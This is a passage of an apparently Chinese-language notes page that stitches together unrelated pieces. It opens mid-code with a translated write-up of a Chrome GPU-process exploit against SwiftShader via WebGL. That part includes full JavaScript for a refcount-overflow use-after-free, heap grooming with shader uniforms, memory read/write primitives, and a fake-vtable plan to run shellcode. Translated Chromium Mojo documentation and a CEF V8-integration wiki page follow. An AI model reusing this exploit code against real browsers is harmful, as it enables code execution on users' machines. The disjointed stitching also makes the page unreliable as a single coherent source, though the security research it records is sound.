leak_data.buffer; } return this; }
这看起来可能是一个非常粗糙的泄漏原语,但由于SWIFTShader使用的是系统堆,因此很容易安排直接在此分配之后的内存可以安全地访问。
还有第二个错误
现在,我们拥有的下一个漏洞是一个由引用计数溢出引起的 egl::ImageImplementation 对象的UAF 漏洞。
从利用的角度来看,这个对象是一个非常好的对象,因为从javascript中我们可以从它存储的数据中读写,所以似乎最好的利用方法是用一个损坏的版本替换这个对象;但是,由于它是一个c++对象,我们需要在GPU进程中打破ASLR来实现这一点。
如果您阅读的是利用漏洞攻击代码,则feng_shader.html中的函数leak_image实现了egl::ImageImplementation对象的粗略喷射,并使用上面的信息泄漏来查找要复制的对象。
所以——盘点一下:
我们刚刚释放了一个对象,并且我们确切地知道应该在该对象中的数据是什么样子的。
这看起来很简单——现在我们只需要找到一个允许我们替换它的原语就可以了!这实际上是该漏洞中最令人沮丧的部分。
由于OpenGL命令从WebGL传递到GPU进程时会发生多个级别的验证/复制(初始WebGL验证(在渲染器中)、GPU命令缓冲区接口、ANGLE验证),因此使用受控制的数据获得控制大小的单个分配是非常重要的!
我们期望有用的大多数分配数据(图像/纹理数据等)到最后有很多的大小限制或被四舍五入到不同的大小。
但是,有一个很好的原语做这个——shader uniforms。
这就是将参数传递给可编程GPU着色器的方式;如果我们查看SwiftShader代码,我们可以看到(最终)在分配这些参数时,它们将直接调用operator new[]。
我们可以从uniform存储的数据中读取和写入数据,因此这将为我们提供所需的原语。
下面的代码实现了SwiftShader/GPU进程中(非常基本的)堆修饰的这一技术,以及用于溢出引用计数的优化方法。
当链接程序对象时,Shader源代码(第一个标记的部分)将产生4次大小为0xf0的分配,第二个标记部分是原始对象将被释放并替换为Shader uniform对象的位置。
function issue_1585(gl, fake) { let vertex_shader = gl.createShader(gl.VERTEX_SHADER); gl.shaderSource(vertex_shader, ` 【1】 attribute vec4 position; 【1】 uniform int block0[60]; 【1】 uniform int block1[60]; 【1】 uniform int block2[60]; 【1】 uniform int block3[60]; 【1】 void main() { 【1】 gl_Position = position; 【1】 gl_Position.x += float(block0[0]); 【1】 gl_Position.x += float(block1[0]); 【1】 gl_Position.x += float(block2[0]); 【1】 gl_Position.x += float(block3[0]); 【1】 }`); gl.compileShader(vertex_shader); let fragment_shader = gl.createShader(gl.FRAGMENT_SHADER); gl.shaderSource(fragment_shader, ` void main() { gl_FragColor = vec4(0.0, 0.0, 0.0, 0.0); }`); gl.compileShader(fragment_shader); this.program = gl.createProgram(); gl.attachShader(this.program, vertex_shader); gl.attachShader(this.program, fragment_shader); const uaf_width = 8190; const uaf_height = 8190; this.fb = gl.createFramebuffer(); uaf_rb = gl.createRenderbuffer(); gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.fb); gl.bindRenderbuffer(gl.RENDERBUFFER, uaf_rb); gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA32UI, uaf_width, uaf_height); gl.framebufferRenderbuffer(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, uaf_rb); let tex = gl.createTexture(); gl.bindTexture(gl.TEXTURE_CUBE_MAP, tex); // trigger for (i = 2; i < 0x10; ++i) { gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0); } function unroll(gl) { gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0); // snip ... gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0); } for (i = 0x10; i < 0x100000000; i += 0x10) { unroll(gl); } 【2】 // the egl::ImageImplementation for the rendertarget of uaf_rb is now 0, so 【2】 // this call will free it, leaving a dangling reference 【2】 gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, 256, 256, 0); 【2】 // replace the allocation with our shader uniform. 【2】 gl.linkProgram(this.program); 【2】 gl.useProgram(this.program); function wait(ms) { var start = Date.now(), now = start; while (now - start < ms) { now = Date.now(); } } function read(uaf, index) { wait(200); var read_data = new Int32Array(60); for (var i = 0; i < 60; ++i) { read_data[i] = gl.getUniform(uaf.program, gl.getUniformLocation(uaf.program, 'block' + index.toString() + '[' + i.toString() + ']')); } return read_data.buffer; } function write(uaf, index, buffer) { gl.uniform1iv(gl.getUniformLocation(uaf.program, 'block' + index.toString()), new Int32Array(buffer)); wait(200); } this.read = function() { return read(this, this.index); } this.write = function(buffer) { return write(this, this.index, buffer); } for (var i = 0; i < 4; ++i) { write(this, i, fake.buffer); } gl.readPixels(0, 0, 2, 2, gl.RGBA_INTEGER, gl.UNSIGNED_INT, new Uint32Array(2 * 2 * 16)); for (var i = 0; i < 4; ++i) { data = new DataView(read(this, i)); for (var j = 0; j < 0xf0; ++j) { if (fake.getUint8(j) != data.getUint8(j)) { log('uaf block index is ' + i.toString()); this.index = i; return this; } } } }
此时,我们可以修改对象,使我们能够从GPU进程的所有内存中进行读写;有关如何使用gl.readPixels和gl.blitFrameBuffer方法,请参见read_write函数。
现在,从这一点开始执行任意代码应该是相当简单的,尽管当您必须替换c++对象时,让您的ROP链很好地排列起来通常是一件痛苦的事情,但这是一个非常容易处理的问题。还有另一个诀窍可以使这种利用变得更加优雅。
SwiftShader 使用Shader 的JIT编译以获得尽可能高的性能,而JIT编译器使用另一个c++对象来处理加载生成的ELF可执行文件并将其映射到内存中。也许我们可以创建一个假对象,将egl::ImageImplementation对象用作SubzeroReactor::ELFMemoryStreamer (https://cs.chromium.org/chromium/src/third_party/swiftshader/src/Reactor/SubzeroReactor.cpp?rcl=fe79649598fb9bdf6d4567d58704e3a255dd5bb6&l=439) 对象,并让GPU进程为我们加载ELF文件作为负载,而不是自己摆弄?
所以,我们可以通过创建一个假的vtable,像这样:
egl::ImageImplementation::lockInternal -> egl::ImageImplementation::lockInternal
egl::ImageImplementation::unlockInternal -> ELFMemoryStreamer::getEntry
egl::ImageImplementation::release -> shellcode
然后,当我们从这个图像对象读取时,我们将在GPU进程中执行我们的shellcode,而不是将像素返回给javascript。
结论
有趣的是,我们可以在现代浏览器代码库的一些不太可能的地方直接发现javascript可访问的攻击面,当我们从侧面看事情时——避免了可能更明显和更有争议的领域,如主要的javascript JIT引擎。
许多代码库有很长的开发历史,在不同版本之间的兼容性和一致性方面也有许多权衡。有必要回顾一下其中的一些特性,看看在发布这些特性之后,最初的期望是否仍然有效,以及它们今天是否仍然有效,或者这些特性是否真的可以在不对用户产生重大影响的情况下被删除。
Chromium doc: Mojo
https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md
机器翻译+人工简单润色。
从Mojo开始
要在已经支持Mojo的应用程序(如Chrome)中开始使用Mojo,最快的方法是查看您选择的语言(C++[1]、JavaScript[2]或Java[3])的绑定文档,以及MojomIDL和绑定生成器的文档[4]。
如果您正在查找有关创建和/或连接到服务的信息,请参阅顶级服务文档 [5]。
有关将旧的东西转换成新的东西的具体细节,请查看将传统ChromeIPC转换为Mojo的过程 [6]。
[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md#C_Bindings
[2] https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md#JavaScript-Bindings
[3] https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md#Java-Bindings
[4] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/tools/bindings/README.md
[5] https://chromium.googlesource.com/chromium/src/+/master/services/README.md
[6] https://chromium.googlesource.com/chromium/src/+/master/ipc/README.md
系统概述
Mojo是运行时库的集合,提供了公共IPC原语的平台无关抽象、消息IDL格式和绑定库,其中包含针对多种目标语言的代码生成,以方便消息跨越任意进程间和进程内边界。
这里的文档是根据包含Mojo的不同库进行分割的。特征的基本层次如下:
(IMG)
Mojo库分层:底层为核心,顶部为语言绑定,中间为公共系统支持API
Mojo内核
为了使用任何更有趣的高级支持库,如系统API或绑定API,进程必须首先初始化Mojo Core。
进行一次初始化之后,在进程生命周期的剩余时间内一直处于活动状态。
初始化MojoCore有两种方法:通过EmbedderAPI,或者通过动态链接库。
嵌入
许多通过Mojo互连的进程都是嵌入程序,这意味着它们静态地链接到/mojo/core/Embedder目标,并通过调用mojo::core::init()来初始化每个进程中的Mojo支持。
有关更多细节,请参见Mojo CoreEmbedderAPI [1]。
这是一个合理的选择,因为您可以保证所有相互连接的进程二进制文件都链接到完全相同的MojoCore修订版上。
若要支持其他方案,请使用动态链接。
[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/core/embedder/README.md
动态链接
在某些平台上,应用程序还可以依赖动态链接的Mojo Core库(libmojo_core.so或mojo_core.dll),而不是静态链接Mojo Core。
为了利用这一机制,相应的库必须存在于以下文件中:
* 应用程序的工作目录。
* 由mojo_core_Library_path环境变量命名的目录。
* 应用程序在运行时显式命名的目录。
使用动态Mojo Core的应用程序不像嵌入式程序那样调用mojo::core::init(),而是从C系统API调用MojoInitiize()。
此调用将尝试定位(参见上文)并加载一个MojoCore库,以支持进程中后续的MojoAPI使用。
请注意,Mojo Core共享库提供了一个稳定的、向前兼容的C ABI,它可以支持更高级别、公共(而非二进制稳定)系统和绑定API的所有当前和未来版本。
C++
C++ System API [1]提供了一层C+帮助器类和函数,使安全系统API的使用更容易:强类型句柄作用域、同步等待操作、系统句柄包装和展开帮助程序、公共句柄操作,以及更容易监视句柄状态更改的实用程序。
JavaScript
JavaScript System API [2]将Mojo原语公开给JavaScript,涵盖了低级CAPI的所有基本功能。
Java
Java System API [3]提供了用于处理Mojo原语的助手类,涵盖了低级CAPI的所有基本功能。
[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/cpp/system/README.md
[2] https://chromium.googlesource.com/chromium/src/+/master/third_party/blink/renderer/core/mojo/README.md
[3] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/java/system/README.md
高级绑定api
通常,开发人员不直接使用原始消息管道I/O,而是定义一些接口集,这些接口用于生成类似于所选择的目标语言的惯用方法调用接口的代码。这是绑定层。
Mojom IDL和绑定生成器
接口是使用MojomIDL [1]定义的,可以将其提供给绑定生成器[2],以生成各种受支持的语言中的代码。
生成的代码管理接口客户端和实现之间消息的序列化和反序列化,简化代码-并最终将消息管道隐藏在接口连接的两侧。
C++绑定
到目前为止,由Mojo定义的最常用的API,C++绑定API [3]公开了一组健壮的特性,用于通过生成的C+绑定代码与消息管道交互,包括对相关绑定端点集、关联接口、嵌套同步IPC、版本控制、坏消息报告、任意消息筛选器注入和方便的测试工具的支持。
[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/tools/bindings/README.md
[2] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/tools/bindings/README.md
[3] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/cpp/bindings/README.md
JavaScript绑定。
JavaScript binding API [1]提供了帮助器类,用于处理由绑定生成器发出的JavaScript代码。
Java绑定。
Java Bindings API [2]提供了帮助器类,用于处理由绑定生成器发出的Java代码。
[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/js/README.md
[2] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/java/bindings/README.md
常见问题。
为什么不是protobuf或者其他的?
对于这个问题,可能有很多不错的答案,但最重要的是,一个有用的IPC机制必须支持跨越进程边界的本地对象句柄(例如,文件描述符)的传输。
其他支持此功能的非新IPC(例如d-bus)也有其自身的重大缺陷。
信息管道运行时代价很高吗?
不。作为实现细节,创建消息管道实质上是生成两个随机数,并将它们填充到一个哈希表中,以及一些很小的堆分配。
所以说真的,我能创造出成千上万个这样的东西吗?
是。没人会介意的。创造数以百万计的人,如果你愿意的话。(好吧,但也许不需要。)。
Mojo的性能特点是什么?
与Chrome中的旧IPC相比,进行Mojo调用大约要快1/3,使用的上下文切换也少1/3。完整的数据可在这里获得。 (https://docs.google.com/document/d/1n7qYjQ5iy8xAkQVMYGqjIy_AXu2_JJtMoAcOOupO_jQ/edit)
我可以使用进程内消息管道吗?
是的,而且消息管道的使用是相同的,不管管道是否真的跨越了进程边界-事实上,这个细节是有意模糊的。
不跨越进程边界的消息管道是高效的:发送的消息永远不会被复制,一端的写操作将同步地修改另一端的消息队列。
例如,当使用生成的C++绑定时,最终的结果是一个线程上的InterfacePtr向另一个线程上的绑定(甚至同一个线程)发送消息,实际上是一个PostTask到绑定的TaskRunner,同时增加了序列化、反序列化、验证和一些内部路由逻辑的开销(但通常很小)。
V8 wiki
描述
V8是Google的开源JavaScript引擎。
V8是用C++编写的,在谷歌的开源浏览器Google Chrome中使用。
V8实现ECMA-262第5版中指定的ECMASScript,并运行在Windows(XP或更新版本)、Mac OS X(10.5或更新版本)和使用IA-32、x64或ARM处理器的Linux系统上。
编译:https://www.aldeid.com/wiki/V8
————————-
在其他工程中使用V8:https://bitbucket.org/chromiumembedded/cef/wiki/JavaScriptIntegration
(下为机器翻译+简单人工润色)
导言
Chrome和CEF使用V8 JavaScript引擎实现内部JavaScript(JS)。浏览器中的每个框架都有自己的JS上下文,为在该框架中执行的JS代码提供范围和安全性(有关更多信息,请参见“使用上下文”一节)。CEF为客户端应用程序中的集成提供了大量的JS特性。
对于CEF 3,Blink(WebKit)和JS执行在单独的呈现程序进程中运行。呈现程序进程中的主线程被标识为TID_renderer,所有V8执行都必须在该线程上执行。与JS执行相关的回调通过CefRenderProcessHandler接口公开。当初始化新的呈现程序进程时,通过CefApp::GetRenderProcessHandler()检索该接口。
应该使用异步回调来设计在浏览器和呈现程序进程之间进行通信的JSAPI。有关更多信息,请参见GeneralUsagewiki页面的“异步JavaScript绑定”部分。
执行JavaScript
从客户机应用程序执行JS的最简单方法是使用CefFrame::ExecuteJavaScript()函数。
该函数在浏览器进程和render程序进程中都可用,并且可以在JS上下文之外安全地使用。
CefRefPtr<CefBrowser> browser = ...; CefRefPtr<CefFrame> frame = browser->GetMainFrame(); frame->ExecuteJavaScript("alert('ExecuteJavaScript works!');", frame->GetURL(), 0);
上面的示例将执行alert(‘ExecuteJavaScriptWorks!’);在浏览器的主框架中执行。
可以使用ExecuteJavaScript()函数与框架的JS上下文中的函数和变量进行交互。
为了将值从JS返回到客户机应用程序,请考虑使用窗口绑定或扩展。
窗口绑定。
窗口绑定允许客户端应用程序将值附加到框架的窗口对象。
窗口绑定使用CefRenderProcessHandler::OnContextCreated()方法实现。
void MyRenderProcessHandler::OnContextCreated( CefRefPtr<CefBrowser> browser, CefRefPtr<CefFrame> frame, CefRefPtr<CefV8Context> context) { // Retrieve the context's window object. CefRefPtr<CefV8Value> object = context->GetGlobal(); // Create a new V8 string value. See the "Basic JS Types" section below. CefRefPtr<CefV8Value> str = CefV8Value::CreateString("My Value!"); // Add the string to the window object as "window.myval". See the "JS Objects" section below. object->SetValue("myval", str, V8_PROPERTY_ATTRIBUTE_NONE); }
然后,框架中的JavaScript可以与窗口绑定交互。
<script language="JavaScript"> alert(window.myval); // Shows an alert box with "My Value!" </script>
每次重新加载框架时,都会重新加载窗口绑定,从而使客户端应用程序有机会在必要时更改绑定。
例如,可以通过修改绑定到该帧的窗口对象的值,让不同的帧访问客户端应用程序中的不同功能。
扩展
扩展类似于窗口绑定,只是它们被加载到每个帧的上下文中,并且一旦加载就不能修改。
当加载扩展时,DOM不存在,并且在扩展加载期间试图访问DOM将导致崩溃。
扩展是使用应当从CefRenderProcessHandler::OnWebKitInitialized()方法调用的CefRegisterExtension()函数注册的。
void MyRenderProcessHandler::OnWebKitInitialized() { // Define the extension contents. std::string extensionCode = "var test;" "if (!test)" " test = {};" "(function() {" " test.myval = 'My Value!';" "})();"; // Register the extension. CefRegisterExtension("v8/test", extensionCode, NULL); }
ExtensionCode表示的字符串可以是任何有效的JS代码。
然后,框架中的JS可以与扩展代码交互。
<script language="JavaScript"> alert(test.myval); // Shows an alert box with "My Value!" </script>
基本JS类型。
CEF支持创建基本的JS数据类型,包括未定义的、NULL、bool、int、Double、Date和String。
这些类型是使用CefV8Value::Create*()静态方法创建的。
例如,要创建一个新的JS字符串值,可以使用CreateString()方法。
CefRefPtr<CefV8Value> str = CefV8Value::CreateString("My Value!");
基本值类型可以随时创建,并且最初不与特定上下文关联(有关更多信息,请参见“使用上下文”一节)。
要测试值类型,请使用is*()方法。
CefRefPtr<CefV8Value> val = ...; if (val.IsString()) { // The value is a string. }
要检索该值,请使用get*value()方法。
CefString strVal = val.GetStringValue();